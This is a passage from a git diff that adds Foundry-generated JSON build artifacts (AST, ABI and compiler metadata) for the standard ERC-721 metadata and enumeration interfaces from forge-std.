0x150b7a02."},"fullyImplemented":false,"linearizedBaseContracts":[32101],"name":"IERC721TokenReceiver","nameLocation":"5868:20:18","scope":32154,"usedErrors":[],"usedEvents":[]},{"id":32125,"nodeType":"ContractDefinition","src":"6997:659:18","nodes":[{"id":32110,"nodeType":"FunctionDefinition","src":"7117:60:18","nodes":[],"documentation":{"id":32105,"nodeType":"StructuredDocumentation","src":"7040:72:18","text":"@notice A descriptive name for a collection of NFTs in this contract"},"functionSelector":"06fdde03","implemented":false,"kind":"function","modifiers":[],"name":"name","nameLocation":"7126:4:18","parameters":{"id":32106,"nodeType":"ParameterList","parameters":[],"src":"7130:2:18"},"returnParameters":{"id":32109,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32108,"mutability":"mutable","name":"_name","nameLocation":"7170:5:18","nodeType":"VariableDeclaration","scope":32110,"src":"7156:19:18","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":32107,"name":"string","nodeType":"ElementaryTypeName","src":"7156:6:18","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"7155:21:18"},"scope":32125,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":32116,"nodeType":"FunctionDefinition","src":"7245:64:18","nodes":[],"documentation":{"id":32111,"nodeType":"StructuredDocumentation","src":"7183:57:18","text":"@notice An abbreviated name for NFTs in this contract"},"functionSelector":"95d89b41","implemented":false,"kind":"function","modifiers":[],"name":"symbol","nameLocation":"7254:6:18","parameters":{"id":32112,"nodeType":"ParameterList","parameters":[],"src":"7260:2:18"},"returnParameters":{"id":32115,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32114,"mutability":"mutable","name":"_symbol","nameLocation":"7300:7:18","nodeType":"VariableDeclaration","scope":32116,"src":"7286:21:18","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":32113,"name":"string","nodeType":"ElementaryTypeName","src":"7286:6:18","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"7285:23:18"},"scope":32125,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":32124,"nodeType":"FunctionDefinition","src":"7580:74:18","nodes":[],"documentation":{"id":32117,"nodeType":"StructuredDocumentation","src":"7315:260:18","text":"@notice A distinct Uniform Resource Identifier (URI) for a given asset.\n @dev Throws if `_tokenId` is not a valid NFT. URIs are defined in RFC\n 3986. The URI may point to a JSON file that conforms to the \"ERC721\n Metadata JSON Schema\"."},"functionSelector":"c87b56dd","implemented":false,"kind":"function","modifiers":[],"name":"tokenURI","nameLocation":"7589:8:18","parameters":{"id":32120,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32119,"mutability":"mutable","name":"_tokenId","nameLocation":"7606:8:18","nodeType":"VariableDeclaration","scope":32124,"src":"7598:16:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32118,"name":"uint256","nodeType":"ElementaryTypeName","src":"7598:7:18","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"7597:18:18"},"returnParameters":{"id":32123,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32122,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":32124,"src":"7639:13:18","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":32121,"name":"string","nodeType":"ElementaryTypeName","src":"7639:6:18","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"7638:15:18"},"scope":32125,"stateMutability":"view","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[{"baseName":{"id":32103,"name":"IERC721","nameLocations":["7026:7:18"],"nodeType":"IdentifierPath","referencedDeclaration":32085,"src":"7026:7:18"},"id":32104,"nodeType":"InheritanceSpecifier","src":"7026:7:18"}],"canonicalName":"IERC721Metadata","contractDependencies":[],"contractKind":"interface","documentation":{"id":32102,"nodeType":"StructuredDocumentation","src":"6802:195:18","text":"@title ERC-721 Non-Fungible Token Standard, optional metadata extension\n @dev See https://eips.ethereum.org/EIPS/eip-721\n Note: the ERC-165 identifier for this interface is 0x5b5e139f."},"fullyImplemented":false,"linearizedBaseContracts":[32125,32085,31873],"name":"IERC721Metadata","nameLocation":"7007:15:18","scope":32154,"usedErrors":[],"usedEvents":[31984,31993,32002]},{"id":32153,"nodeType":"ContractDefinition","src":"7856:1169:18","nodes":[{"id":32134,"nodeType":"FunctionDefinition","src":"8114:55:18","nodes":[],"documentation":{"id":32129,"nodeType":"StructuredDocumentation","src":"7901:208:18","text":"@notice Count NFTs tracked by this contract\n @return A count of valid NFTs tracked by this contract, where each one of\n them has an assigned and queryable owner not equal to the zero address"},"functionSelector":"18160ddd","implemented":false,"kind":"function","modifiers":[],"name":"totalSupply","nameLocation":"8123:11:18","parameters":{"id":32130,"nodeType":"ParameterList","parameters":[],"src":"8134:2:18"},"returnParameters":{"id":32133,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32132,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":32134,"src":"8160:7:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32131,"name":"uint256","nodeType":"ElementaryTypeName","src":"8160:7:18","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"8159:9:18"},"scope":32153,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":32142,"nodeType":"FunctionDefinition","src":"8418:70:18","nodes":[],"documentation":{"id":32135,"nodeType":"StructuredDocumentation","src":"8175:238:18","text":"@notice Enumerate valid NFTs\n @dev Throws if `_index` >= `totalSupply()`.\n @param _index A counter less than `totalSupply()`\n @return The token identifier for the `_index`th NFT,\n (sort order not specified)"},"functionSelector":"4f6ccce7","implemented":false,"kind":"function","modifiers":[],"name":"tokenByIndex","nameLocation":"8427:12:18","parameters":{"id":32138,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32137,"mutability":"mutable","name":"_index","nameLocation":"8448:6:18","nodeType":"VariableDeclaration","scope":32142,"src":"8440:14:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32136,"name":"uint256","nodeType":"ElementaryTypeName","src":"8440:7:18","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"8439:16:18"},"returnParameters":{"id":32141,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32140,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":32142,"src":"8479:7:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32139,"name":"uint256","nodeType":"ElementaryTypeName","src":"8479:7:18","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"8478:9:18"},"scope":32153,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":32152,"nodeType":"FunctionDefinition","src":"8930:93:18","nodes":[],"documentation":{"id":32143,"nodeType":"StructuredDocumentation","src":"8494:431:18","text":"@notice Enumerate NFTs assigned to an owner\n @dev Throws if `_index` >= `balanceOf(_owner)` or if\n `_owner` is the zero address, representing invalid NFTs.\n @param _owner An address where we are interested in NFTs owned by them\n @param _index A counter less than `balanceOf(_owner)`\n @return The token identifier for the `_index`th NFT assigned to `_owner`,\n (sort order not specified)"},"functionSelector":"2f745c59","implemented":false,"kind":"function","modifiers":[],"name":"tokenOfOwnerByIndex","nameLocation":"8939:19:18","parameters":{"id":32148,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32145,"mutability":"mutable","name":"_owner","nameLocation":"8967:6:18","nodeType":"VariableDeclaration","scope":32152,"src":"8959:14:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32144,"name":"address","nodeType":"ElementaryTypeName","src":"8959:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":32147,"mutability":"mutable","name":"_index","nameLocation":"8983:6:18","nodeType":"VariableDeclaration","scope":32152,"src":"8975:14:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32146,"name":"uint256","nodeType":"ElementaryTypeName","src":"8975:7:18","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"8958:32:18"},"returnParameters":{"id":32151,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32150,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":32152,"src":"9014:7:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32149,"name":"uint256","nodeType":"ElementaryTypeName","src":"9014:7:18","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"9013:9:18"},"scope":32153,"stateMutability":"view","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[{"baseName":{"id":32127,"name":"IERC721","nameLocations":["7887:7:18"],"nodeType":"IdentifierPath","referencedDeclaration":32085,"src":"7887:7:18"},"id":32128,"nodeType":"InheritanceSpecifier","src":"7887:7:18"}],"canonicalName":"IERC721Enumerable","contractDependencies":[],"contractKind":"interface","documentation":{"id":32126,"nodeType":"StructuredDocumentation","src":"7658:198:18","text":"@title ERC-721 Non-Fungible Token Standard, optional enumeration extension\n @dev See https://eips.ethereum.org/EIPS/eip-721\n Note: the ERC-165 identifier for this interface is 0x780e9d63."},"fullyImplemented":false,"linearizedBaseContracts":[32153,32085,31873],"name":"IERC721Enumerable","nameLocation":"7866:17:18","scope":32154,"usedErrors":[],"usedEvents":[31984,31993,32002]}],"license":"MIT"},"id":18} \ No newline at end of file diff --git a/contracts/out/IERC721.sol/IERC721Enumerable.json b/contracts/out/IERC721.sol/IERC721Enumerable.json new file mode 100644 index 000000000..227215b8a --- /dev/null +++ b/contracts/out/IERC721.sol/IERC721Enumerable.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"approve","inputs":[{"name":"_approved","type":"address","internalType":"address"},{"name":"_tokenId","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"payable"},{"type":"function","name":"balanceOf","inputs":[{"name":"_owner","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"getApproved","inputs":[{"name":"_tokenId","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"isApprovedForAll","inputs":[{"name":"_owner","type":"address","internalType":"address"},{"name":"_operator","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"ownerOf","inputs":[{"name":"_tokenId","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"safeTransferFrom","inputs":[{"name":"_from","type":"address","internalType":"address"},{"name":"_to","type":"address","internalType":"address"},{"name":"_tokenId","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"payable"},{"type":"function","name":"safeTransferFrom","inputs":[{"name":"_from","type":"address","internalType":"address"},{"name":"_to","type":"address","internalType":"address"},{"name":"_tokenId","type":"uint256","internalType":"uint256"},{"name":"data","type":"bytes","internalType":"bytes"}],"outputs":[],"stateMutability":"payable"},{"type":"function","name":"setApprovalForAll","inputs":[{"name":"_operator","type":"address","internalType":"address"},{"name":"_approved","type":"bool","internalType":"bool"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"supportsInterface","inputs":[{"name":"interfaceID","type":"bytes4","internalType":"bytes4"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"tokenByIndex","inputs":[{"name":"_index","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"tokenOfOwnerByIndex","inputs":[{"name":"_owner","type":"address","internalType":"address"},{"name":"_index","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"totalSupply","inputs":[],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"transferFrom","inputs":[{"name":"_from","type":"address","internalType":"address"},{"name":"_to","type":"address","internalType":"address"},{"name":"_tokenId","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"payable"},{"type":"event","name":"Approval","inputs":[{"name":"_owner","type":"address","indexed":true,"internalType":"address"},{"name":"_approved","type":"address","indexed":true,"internalType":"address"},{"name":"_tokenId","type":"uint256","indexed":true,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"ApprovalForAll","inputs":[{"name":"_owner","type":"address","indexed":true,"internalType":"address"},{"name":"_operator","type":"address","indexed":true,"internalType":"address"},{"name":"_approved","type":"bool","indexed":false,"internalType":"bool"}],"anonymous":false},{"type":"event","name":"Transfer","inputs":[{"name":"_from","type":"address","indexed":true,"internalType":"address"},{"name":"_to","type":"address","indexed":true,"internalType":"address"},{"name":"_tokenId","type":"uint256","indexed":true,"internalType":"uint256"}],"anonymous":false}],"bytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"deployedBytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"methodIdentifiers":{"approve(address,uint256)":"095ea7b3","balanceOf(address)":"70a08231","getApproved(uint256)":"081812fc","isApprovedForAll(address,address)":"e985e9c5","ownerOf(uint256)":"6352211e","safeTransferFrom(address,address,uint256)":"42842e0e","safeTransferFrom(address,address,uint256,bytes)":"b88d4fde","setApprovalForAll(address,bool)":"a22cb465","supportsInterface(bytes4)":"01ffc9a7","tokenByIndex(uint256)":"4f6ccce7","tokenOfOwnerByIndex(address,uint256)":"2f745c59","totalSupply()":"18160ddd","transferFrom(address,address,uint256)":"23b872dd"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"_owner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"_approved\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"uint256\",\"name\":\"_tokenId\",\"type\":\"uint256\"}],\"name\":\"Approval\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"_owner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"_operator\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"bool\",\"name\":\"_approved\",\"type\":\"bool\"}],\"name\":\"ApprovalForAll\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"_from\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"_to\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"uint256\",\"name\":\"_tokenId\",\"type\":\"uint256\"}],\"name\":\"Transfer\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_approved\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"_tokenId\",\"type\":\"uint256\"}],\"name\":\"approve\",\"outputs\":[],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_owner\",\"type\":\"address\"}],\"name\":\"balanceOf\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"_tokenId\",\"type\":\"uint256\"}],\"name\":\"getApproved\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_owner\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_operator\",\"type\":\"address\"}],\"name\":\"isApprovedForAll\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"_tokenId\",\"type\":\"uint256\"}],\"name\":\"ownerOf\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_from\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"_tokenId\",\"type\":\"uint256\"}],\"name\":\"safeTransferFrom\",\"outputs\":[],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_from\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"_tokenId\",\"type\":\"uint256\"},{\"internalType\":\"bytes\",\"name\":\"data\",\"type\":\"bytes\"}],\"name\":\"safeTransferFrom\",\"outputs\":[],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_operator\",\"type\":\"address\"},{\"internalType\":\"bool\",\"name\":\"_approved\",\"type\":\"bool\"}],\"name\":\"setApprovalForAll\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes4\",\"name\":\"interfaceID\",\"type\":\"bytes4\"}],\"name\":\"supportsInterface\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"_index\",\"type\":\"uint256\"}],\"name\":\"tokenByIndex\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_owner\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"_index\",\"type\":\"uint256\"}],\"name\":\"tokenOfOwnerByIndex\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"totalSupply\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_from\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"_tokenId\",\"type\":\"uint256\"}],\"name\":\"transferFrom\",\"outputs\":[],\"stateMutability\":\"payable\",\"type\":\"function\"}],\"devdoc\":{\"details\":\"See https://eips.ethereum.org/EIPS/eip-721 Note: the ERC-165 identifier for this interface is 0x780e9d63.\",\"events\":{\"Approval(address,address,uint256)\":{\"details\":\"This emits when the approved address for an NFT is changed or reaffirmed. The zero address indicates there is no approved address. When a Transfer event emits, this also indicates that the approved address for that NFT (if any) is reset to none.\"},\"ApprovalForAll(address,address,bool)\":{\"details\":\"This emits when an operator is enabled or disabled for an owner. The operator can manage all NFTs of the owner.\"},\"Transfer(address,address,uint256)\":{\"details\":\"This emits when ownership of any NFT changes by any mechanism. This event emits when NFTs are created (`from` == 0) and destroyed (`to` == 0). Exception: during contract creation, any number of NFTs may be created and assigned without emitting Transfer. At the time of any transfer, the approved address for that NFT (if any) is reset to none.\"}},\"kind\":\"dev\",\"methods\":{\"approve(address,uint256)\":{\"details\":\"The zero address indicates there is no approved address. Throws unless `msg.sender` is the current NFT owner, or an authorized operator of the current owner.\",\"params\":{\"_approved\":\"The new approved NFT controller\",\"_tokenId\":\"The NFT to approve\"}},\"balanceOf(address)\":{\"details\":\"NFTs assigned to the zero address are considered invalid, and this function throws for queries about the zero address.\",\"params\":{\"_owner\":\"An address for whom to query the balance\"},\"returns\":{\"_0\":\"The number of NFTs owned by `_owner`, possibly zero\"}},\"getApproved(uint256)\":{\"details\":\"Throws if `_tokenId` is not a valid NFT.\",\"params\":{\"_tokenId\":\"The NFT to find the approved address for\"},\"returns\":{\"_0\":\"The approved address for this NFT, or the zero address if there is none\"}},\"isApprovedForAll(address,address)\":{\"params\":{\"_operator\":\"The address that acts on behalf of the owner\",\"_owner\":\"The address that owns the NFTs\"},\"returns\":{\"_0\":\"True if `_operator` is an approved operator for `_owner`, false otherwise\"}},\"ownerOf(uint256)\":{\"details\":\"NFTs assigned to zero address are considered invalid, and queries about them do throw.\",\"params\":{\"_tokenId\":\"The identifier for an NFT\"},\"returns\":{\"_0\":\"The address of the owner of the NFT\"}},\"safeTransferFrom(address,address,uint256)\":{\"details\":\"This works identically to the other function with an extra data parameter, except this function just sets data to \\\"\\\".\",\"params\":{\"_from\":\"The current owner of the NFT\",\"_to\":\"The new owner\",\"_tokenId\":\"The NFT to transfer\"}},\"safeTransferFrom(address,address,uint256,bytes)\":{\"details\":\"Throws unless `msg.sender` is the current owner, an authorized operator, or the approved address for this NFT. Throws if `_from` is not the current owner. Throws if `_to` is the zero address. Throws if `_tokenId` is not a valid NFT. When transfer is complete, this function checks if `_to` is a smart contract (code size > 0). If so, it calls `onERC721Received` on `_to` and throws if the return value is not `bytes4(keccak256(\\\"onERC721Received(address,address,uint256,bytes)\\\"))`.\",\"params\":{\"_from\":\"The current owner of the NFT\",\"_to\":\"The new owner\",\"_tokenId\":\"The NFT to transfer\",\"data\":\"Additional data with no specified format, sent in call to `_to`\"}},\"setApprovalForAll(address,bool)\":{\"details\":\"Emits the ApprovalForAll event. The contract MUST allow multiple operators per owner.\",\"params\":{\"_approved\":\"True if the operator is approved, false to revoke approval\",\"_operator\":\"Address to add to the set of authorized operators\"}},\"supportsInterface(bytes4)\":{\"details\":\"Interface identification is specified in ERC-165. This function uses less than 30,000 gas.\",\"params\":{\"interfaceID\":\"The interface identifier, as specified in ERC-165\"},\"returns\":{\"_0\":\"`true` if the contract implements `interfaceID` and `interfaceID` is not 0xffffffff, `false` otherwise\"}},\"tokenByIndex(uint256)\":{\"details\":\"Throws if `_index` >= `totalSupply()`.\",\"params\":{\"_index\":\"A counter less than `totalSupply()`\"},\"returns\":{\"_0\":\"The token identifier for the `_index`th NFT, (sort order not specified)\"}},\"tokenOfOwnerByIndex(address,uint256)\":{\"details\":\"Throws if `_index` >= `balanceOf(_owner)` or if `_owner` is the zero address, representing invalid NFTs.\",\"params\":{\"_index\":\"A counter less than `balanceOf(_owner)`\",\"_owner\":\"An address where we are interested in NFTs owned by them\"},\"returns\":{\"_0\":\"The token identifier for the `_index`th NFT assigned to `_owner`, (sort order not specified)\"}},\"totalSupply()\":{\"returns\":{\"_0\":\"A count of valid NFTs tracked by this contract, where each one of them has an assigned and queryable owner not equal to the zero address\"}},\"transferFrom(address,address,uint256)\":{\"details\":\"Throws unless `msg.sender` is the current owner, an authorized operator, or the approved address for this NFT. Throws if `_from` is not the current owner. Throws if `_to` is the zero address. Throws if `_tokenId` is not a valid NFT.\",\"params\":{\"_from\":\"The current owner of the NFT\",\"_to\":\"The new owner\",\"_tokenId\":\"The NFT to transfer\"}}},\"title\":\"ERC-721 Non-Fungible Token Standard, optional enumeration extension\",\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{\"approve(address,uint256)\":{\"notice\":\"Change or reaffirm the approved address for an NFT\"},\"balanceOf(address)\":{\"notice\":\"Count all NFTs assigned to an owner\"},\"getApproved(uint256)\":{\"notice\":\"Get the approved address for a single NFT\"},\"isApprovedForAll(address,address)\":{\"notice\":\"Query if an address is an authorized operator for another address\"},\"ownerOf(uint256)\":{\"notice\":\"Find the owner of an NFT\"},\"safeTransferFrom(address,address,uint256)\":{\"notice\":\"Transfers the ownership of an NFT from one address to another address\"},\"safeTransferFrom(address,address,uint256,bytes)\":{\"notice\":\"Transfers the ownership of an NFT from one address to another address\"},\"setApprovalForAll(address,bool)\":{\"notice\":\"Enable or disable approval for a third party (\\\"operator\\\") to manage all of `msg.sender`'s assets\"},\"supportsInterface(bytes4)\":{\"notice\":\"Query if a contract implements an interface\"},\"tokenByIndex(uint256)\":{\"notice\":\"Enumerate valid NFTs\"},\"tokenOfOwnerByIndex(address,uint256)\":{\"notice\":\"Enumerate NFTs assigned to an owner\"},\"totalSupply()\":{\"notice\":\"Count NFTs tracked by this contract\"},\"transferFrom(address,address,uint256)\":{\"notice\":\"Transfer ownership of an NFT -- THE CALLER IS RESPONSIBLE TO CONFIRM THAT `_to` IS CAPABLE OF RECEIVING NFTS OR ELSE THEY MAY BE PERMANENTLY LOST\"}},\"version\":1}},\"settings\":{\"compilationTarget\":{\"lib/forge-std/src/interfaces/IERC721.sol\":\"IERC721Enumerable\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/interfaces/IERC165.sol\":{\"keccak256\":\"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc\",\"dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT\"]},\"lib/forge-std/src/interfaces/IERC721.sol\":{\"keccak256\":\"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f\",\"dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"_owner","type":"address","indexed":true},{"internalType":"address","name":"_approved","type":"address","indexed":true},{"internalType":"uint256","name":"_tokenId","type":"uint256","indexed":true}],"type":"event","name":"Approval","anonymous":false},{"inputs":[{"internalType":"address","name":"_owner","type":"address","indexed":true},{"internalType":"address","name":"_operator","type":"address","indexed":true},{"internalType":"bool","name":"_approved","type":"bool","indexed":false}],"type":"event","name":"ApprovalForAll","anonymous":false},{"inputs":[{"internalType":"address","name":"_from","type":"address","indexed":true},{"internalType":"address","name":"_to","type":"address","indexed":true},{"internalType":"uint256","name":"_tokenId","type":"uint256","indexed":true}],"type":"event","name":"Transfer","anonymous":false},{"inputs":[{"internalType":"address","name":"_approved","type":"address"},{"internalType":"uint256","name":"_tokenId","type":"uint256"}],"stateMutability":"payable","type":"function","name":"approve"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"stateMutability":"view","type":"function","name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"uint256","name":"_tokenId","type":"uint256"}],"stateMutability":"view","type":"function","name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"_operator","type":"address"}],"stateMutability":"view","type":"function","name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"uint256","name":"_tokenId","type":"uint256"}],"stateMutability":"view","type":"function","name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_tokenId","type":"uint256"}],"stateMutability":"payable","type":"function","name":"safeTransferFrom"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_tokenId","type":"uint256"},{"internalType":"bytes","name":"data","type":"bytes"}],"stateMutability":"payable","type":"function","name":"safeTransferFrom"},{"inputs":[{"internalType":"address","name":"_operator","type":"address"},{"internalType":"bool","name":"_approved","type":"bool"}],"stateMutability":"nonpayable","type":"function","name":"setApprovalForAll"},{"inputs":[{"internalType":"bytes4","name":"interfaceID","type":"bytes4"}],"stateMutability":"view","type":"function","name":"supportsInterface